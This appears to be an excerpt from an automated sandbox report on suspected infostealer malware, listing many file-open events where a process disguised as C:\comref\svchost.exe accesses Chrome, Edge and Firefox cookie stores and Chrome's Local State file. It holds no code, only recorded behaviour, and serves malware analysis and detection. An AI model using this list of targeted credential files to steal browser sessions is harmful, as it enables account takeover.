                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqliteJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqliteJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local StateJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journalJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\jones\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                              Source: C:\comref\svchost.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
